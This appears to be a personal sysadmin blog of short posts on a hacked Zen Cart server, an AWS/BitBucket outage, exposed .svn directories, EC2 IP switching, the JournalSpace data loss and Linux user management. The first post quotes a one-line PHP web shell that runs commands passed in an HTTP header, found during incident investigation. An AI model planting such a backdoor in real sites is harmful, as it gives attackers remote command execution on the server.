Closer To The Ideal

A great bit of sysadmin detective work.

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this:Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

An easy way to configure SSH to make login in a breeze.

Stuff like this makes me afraid to ever rely on anyone’s cloud services.

BitBucket got hit with a denial of service attack. But they host everything on Amazon Web services (EC2, EBS, etc). So they were dependent on Amazon to figure out what the problem was. And Amazon took 16 long hours to figure out what the problem was. And in the mean time, Amazon kept telling BitBucket that everything was fine:

What came from that, was 5 or 6 hours of advice, some of which were obvious timesinks, while others were somewhat credible. What they kept coming back to was that EBS is a “shared network resource” and performance would vary. We were also told to use RAID0 to distribute our load over several EBS instances to increase the throughput.

At this point, we were getting less throughput than you can pull off of a 1.44MB floppy, so we didn’t accept this for an answer. We did some more tests, trying to measure the bandwidth of the machine by fetching their “100mb.bin” files, which we couldn’t do. We again emphasized that this was in fact, in all likelihood, a network problem.

At this point, our outage was well known, especially in the Twittosphere. We have some rather large customers relying on service with us, and some of these customers have some hefty support contracts with Amazon. Emails were sent.

Shortly after this, I requested an additional phone-call from Amazon, this time to our system administrator. He had been compiling some rather worrying numbers over the past hours, since up until now, the support had refused to acknowledge a problem with the service. They claimed that everything was working fine, when clearly, it was not.

This time, a different support rep. called, and this time, they were ready to acknowledge our problem as “very serious.” We sent them our aggregated logs, and shortly thereafter, they reported that “we have found something out of the ordinary with your volume.”

We had been extremely frustrated up until this point, because 1) we couldn’t actually *do* anything about it, and 2) we were being told that everything should be fine. It felt like there was an elephant right in front of us, and a person next to us was insisting that there wasn’t.

3,500 websites got hacked because they had .svn folders on the live site. The really shocking thing is that Apache.org was one of the sites that got hacked:

A Russian security group has posted a detailed blog post(translation here) about how they managed to extract the source code to over 3,300 websites. The group found that some of the largest and best known domains on the web, such as apache.org and php.net, amongst others, are vulnerable to an elementary information leak that exposes the structure and source of website files. A web surfer is able to extract this information by requesting the hidden metadata directories that popular version control tool Subversion creates.

The actual ‘exploit’ itself has been well known for a long time. It is the fault of the server administrator or developer, rather than the fault of a particular application, since the working metadata directories in Subversion are only required for working copies of code. What is surprising is just how prevalent the problem is – and who it affects. Finding version control metadata directories is as simple as looking for ‘.svn’ or ‘.cvs’ folders within web paths, for example: http://www.test.com/.svn/.

For god’s sake, people, use the export command:

The Subversion Export action copies versioned files from a working copy or the repository, to another directory, allowing you to distribute the files without the .svn directory.

We’ve been using Springloops for a long time, which hosts our Subversion repositories. It has an auto-deploy feature that we rely on – every time we commit, it auto-deploys our files to our dev server. I’m fairly sure that Springloops auto-deploy feature is simply a script that hooks to the post_commit event and which then calls ‘export’ on the files you’ve just modified. I’m guessing I could write a similar script in an hour. This is the right way to deploy files from Subversion to your site. The wrong way is to treat you live site as a working copy of your repository and have it run the ‘update’ command every time the post_commit event fires. The problem with this approach is exactly what the article above describes – you can get hacked.

If you decide you absolutely need to have your site be a working copy of your repository,
the Subversion FAQ also demonstrates how to protect your site:

Add this to your httpd.conf:

# Disallow browsing of Subversion working copy administrative dirs.
<DirectoryMatch “^/.*/\.svn/”>
Order deny,allow
Deny from all
</DirectoryMatch>

Gparted: a very useful utility for dealing with Linux partitions and hard drives.

I’ve been gathering data. I’m about to start doing a lot of work on EC2. I am curious about RightScale’s suggested upgrade technique, and also the criticism that appeared in the comments:

Once we’re confident in the new test version, we simply reassign the EIP 172.168.5.6 to the www_rel3 instance and shortly thereafter all users accessing the site are now receiving data packets from the new release. Remember, as long as the www_rel2 is available, you can easily swap back and forth between www_rel2 and www_rel3 until you are completely satisfied with the new site. And when you’re ready, you can terminate the old www_rel2 instance. See diagram below.

In the comments, Ajay says:

I’ve tried this technique in practice for upgrading a server on a site with live traffic and I’ve found that it does not work as you describe. Using your terminology, this is what I’ve experienced:

1) I assign the live EIP to www_rel3

2) For 75 seconds, live traffic is still directed to www_rel2

3) Then for 75 seconds after that, requests to http://www.rightscale.com go NOWHERE. Users get an error saying the browser cannot be found

4) Finally, traffic started getting routed to www_rel3, as expected.

The problem is part 3. I had always assumed that the switch was clean–either traffic would go to the old server or the new server, but it wouldn’t get lost.

Have you experienced that? How do you handle upgrades?

I am curious how long such switching really takes, on average.

This is a horrifying failure of risk management and system administration good practice:  JournalSpace loses all data in its database and has no backup:

Blogging platform JournalSpace (which I’d never heard of to date) has ceased to be, following a wipe-out of the main database for which there was no back-up in place. According to the JournalSpace blog, the database was overwritten as a result of a malicious act from a disgruntled ex-employee.

The lack of backups is the fault of management, for they had the authority to make better decisions, and they had the ethical responsibility to protect the data of their users. Nevertheless, they try to shift the blame to one of their employees:

It was the guy handling the IT (and, yes, the same guy who I caught stealing from the company, and who did a slash-and-burn on some servers on his way out) who made the choice to rely on RAID as the only backup mechanism for the SQL server. He had set up automated backups for the HTTP server which contains the PHP code, but, inscrutibly, had no backup system in place for the SQL data. The ironic thing here is that one of his hobbies was telling everybody how smart he was.

The employee might be guilty of criminal actions here, but that doesn’t let management off the hook for having been so unprepared. If it hadn’t been an employee it might have been a tornado or earthquake or some other disaster – and the blame still would have belonged to management. Multiple backups, in different locations, is the precaution that a responsible company must make.

cb sums it up well in the comments:

lol, gotta love an internet company that has ‘a guy handling IT’. As if the IT side of things is an afterthought-which apparently it was in this case.

There is a second part to this story that I find very sad. One of the users of JournalSpace, a woman calling herself tinythoughts, shows up in the comments at TechCrunch and expresses her sadness, whereupon she is immediately attacked for her having ever used JournalSpace. I am puzzled and worried by the attitude that would defend the company and blame the customer.

This is tinythoughts:

i had one of the oldest journals on journalspace. i am really upset about losing about 6 years of writing, and my layouts which i made. it was bad enough when they lost years of comments. this is far worse. i am pretty sure i archived most of everything up til about a year ago on my external hd. i’m actually a lot sadder about this than i thought i would be.

This is the criticism that is then thrown at her:

If you value your work so much, you shouldn’t be using something that’s free and expect not to lose it.

At the end of the day, piss all you want. It’s your damn fault for leeching off a free service and expect it to continue to provide for you.

The day of FREE is over!

And then this was her response:

it wasn’t free. i was a paying customer for most of the time i was on there, until the first big data loss. after that, i did not get a pro account anymore and also began to write less on there.
as for losing my stuff, which i did value, as i said, i did back it up myself after that first data loss. however, i liked it where and how it was, accessible online to me and anyone else. we are talking about almost 6 years of content. that is not some small thing. even if you’re dumb, you should be able to understand that.
btw, i work in this industry myself, and i am pretty sure the days of free are not over. but all the best to you on being rude anonymously to others online.

She also adds:

I don’t believe their story. I think there is more to it. They’ve had problems before and they always lay it out like their users are technically stupid and willing to accept any dumb answer given to them. What happened really was a great loss for many users, who had been there for years, a community of really great people. The greatest loss is all of the time, life, love, and community each of those users put into journalspace, where it was all documented and washed away like sandcastles on the beach. I might be upset for my own loss, but not nearly as sad as I am for many of my friends there. I think journalspace owes them more than a lame excuse and an empty sorry.

The fact that someone is willing to attack the customers in this case, rather than the grossly irresponsible company, actually saddens me more than the already sad fact that a lot of people lost years worth of work. (Though if I lost that much work, I’d cry for days.)

I had to do some system administration on the company server yesterday. I’ve two things to note.

1.) This is a nice list of commands for user management.

2.) Plesk makes normal system administration a nightmare. It sets up its own config files that override the defaults for most of the software on a Linux system. While Plesk makes some tasks easy for non-technical people, it makes normal system administration (where you ssh to the server) a real pain. You can follow some tutorial exactly, like the directions for adding a user on this page, and your work has no effect. Last night I was able to set up a user account, but was not able to set a working password. Turns out the passwords were controlled by Plesk.

[Added later:] Okay, I’m an idiot. I was trying to create a user account like this:

useradd -groot -Gadm,wheel,psacln -s/bin/bash -p947364 -d/home/lawrence -m lawrence

The helpful tech staff at RackSpace wrote (in reply to my question) that this command expects the password to be encrypted. So the correct way to add a user (at least on a RackSpace server running RedHat Linux) is as follows:

1.) ssh to the server using some non-root account

2.) after you log in, su to root

3.) run the above command without the password

4.) then run this command:

passwd lawrence

5.) then type in the password you want for the user “lawrence”

Found this useful tutorial: Advanced Bash Scripting.

I’ll post it here so I can find it later. I’ve promised myself that one day, I shall be able to write all kinds of shells scripts. I’d like to be able to automate any kind of activity that we need to have happen on the server.

System administration is not my strong point. However, today I had to create some users and groups on a Redhat Linux box that serves websites for Bluewall. I was lucky to find a helpful tutorial, however, when I tried to run the commands as it describes, I ran into this problem:

[root@www httpdocs]# groupadd devteam
bash: groupadd: command not found

Command not found? How could that be? I asked my friend Chris Clarke about this, as he knows more about sysadmin that I do. He wrote back:

Try ‘/usr/sbin/useradd’

If that doesn’t work: ‘updatedb’ then ‘locate *useradd’

His first suggestion was what I needed. This worked perfectly:

[root@www httpdocs]# /usr/sbin/groupadd devteam